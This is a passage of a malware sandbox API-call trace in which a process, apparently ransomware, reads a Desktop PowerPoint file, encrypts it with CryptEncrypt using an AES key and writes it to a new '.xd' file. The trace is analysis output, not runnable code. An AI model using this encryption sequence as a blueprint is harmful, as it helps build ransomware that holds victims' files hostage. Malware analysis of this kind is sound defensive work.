| out: lpMsg=0x130ec34) returned 0 [0078.823] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.823] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.823] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.823] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.823] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0078.823] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0078.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0078.823] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0078.823] CryptDestroyHash (hHash=0x164c930) returned 1 [0078.823] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.823] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.823] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.823] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.823] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.824] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\_PTR1-1QI.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\_ptr1-1qi.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0078.824] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.824] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0078.824] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.824] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.824] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.824] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0078.824] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\_PTR1-1QI.pptx.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\_ptr1-1qi.pptx.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8 [0078.825] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.825] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.825] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.825] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.829] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0078.829] ReadFile (in: hFile=0x3c8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0078.831] ReadFile (in: hFile=0x3c8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x5017, lpOverlapped=0x0) returned 1 [0078.832] ReadFile (in: hFile=0x3c8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0078.835] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.835] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.835] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.835] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0078.836] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.836] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.836] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0078.836] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0078.836] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0078.836] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0078.836] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0078.836] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.836] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0078.836] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0078.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e290, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0078.837] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0078.837] CryptGetKeyParam (in: hKey=0x164c4f0, dwParam=0x7, pbData=0x16294b0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16294b0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0078.837] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0078.837] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0078.837] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.837] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.837] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.837] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.837] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.837] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.837] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0078.837] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.837] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.838] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0078.838] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.838] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.838] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0078.838] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.838] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.838] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.838] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.838] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.838] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.838] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.838] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.838] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.839] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0078.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16218a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0078.839] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0078.839] CryptEncrypt (in: hKey=0x164c4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x15017, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x15020) returned 1 [0078.839] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.839] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.840] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.840] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.840] CharLowerBuffW (in: lpsz="byte[86049]", cchLength=0xb | out: lpsz="byte[86049]") returned 0xb [0078.840] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.846] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.846] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.846] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.846] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0078.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621990, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0078.846] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0078.846] CryptEncrypt (in: hKey=0x164c4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x181fb80*, pdwDataLen=0x130e618*=0x15017, dwBufLen=0x15020 | out: pbData=0x181fb80*, pdwDataLen=0x130e618*=0x15020) returned 1 [0078.847] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.847] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.847] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.847] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.847] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.847] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.847] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0078.847] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.847] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0078.847] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.847] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.847] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.847] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.847] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0078.847] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.847] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.848] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.852] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.853] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.853] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.853] WriteFile (in: hFile=0x3d8, lpBuffer=0x186d008*, nNumberOfBytesToWrite=0x15020, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesWritten=0x130f01c*=0x15020, lpOverlapped=0x0) returned 1 [0078.855] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.855] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.855] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0078.855] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0078.856] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.856] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0078.856] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0078.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621168, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0078.856] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0078.856] CryptDestroyKey (hKey=0x164c4f0) returned 1 [0078.856] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0078.856] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0078.856] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0078.856] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0078.856] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0078.856] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0078.856] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0078.857] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0078.857] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.857] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0078.857] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0078.886] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0078.886] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0078.886] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0078.886] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.886] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0078.886] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.886] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0078.886] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.886] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.886] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.886] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.887] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0078.887] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.887] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.887] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0078.887] CharUpperBuffW (in: 